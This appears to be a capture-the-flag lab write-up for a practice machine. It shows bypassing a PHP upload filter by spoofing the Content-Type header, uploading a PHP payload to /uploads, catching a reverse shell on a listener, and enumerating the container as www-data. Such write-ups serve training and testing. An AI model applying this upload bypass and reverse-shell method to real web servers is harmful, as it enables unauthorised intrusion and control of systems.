Arbitrary File Upload
The web application on the target port 8080
has a hidden endpoint, /dev/
, that is built on PHP and supports file upload with a limit to GIF files only.
File Upload Filter Bypass
Uploading a sample JPG file fails.
This confirms the presence of file upload filter
Additionally, the file size appears to be capped to 100KB
Changing the extension to
.gif
still fails
However, changing the
Content-Type
header to image/gif
works
It also reveals the uploading directory; /uploads
Changing the extension to
.php
with the Content-Type
header set to image/gif
still works
This suggests that the file upload filter is only checking the Content-Type
header
Exploitation
Changing the
Content-Type
header value to image/gif
Successfully uploaded the payload
Triggering the payload
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/escape_offsec]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [192.168.45.153] from (UNKNOWN) [192.168.122.113] 58286
SOCKET: Shell has connected! PID: 114
whoami
www-data
hostname
a7c367c2113d
Initial Foothold established to the a7c367c2113d
host as the www-data
account by leveraging an arbitrary file upload vulnerability to achieve remote code execution (RCE).
ip a
bash: line 3: ip: command not found
ifconfig
bash: line 4: ifconfig: command not found
/sbin/ifconfig
bash: line 5: /sbin/ifconfig: No such file or directory
/sbin/ip a
bash: line 6: /sbin/ip: No such file or directory
Notably, standard network-related commands appear to be unavailable, which strongly suggests that the compromised environment may be operating within a containerized environment, imposing certain restrictions on system capabilities. Further enumeration is required to determine the exact nature of the host and assess potential breakout opportunities.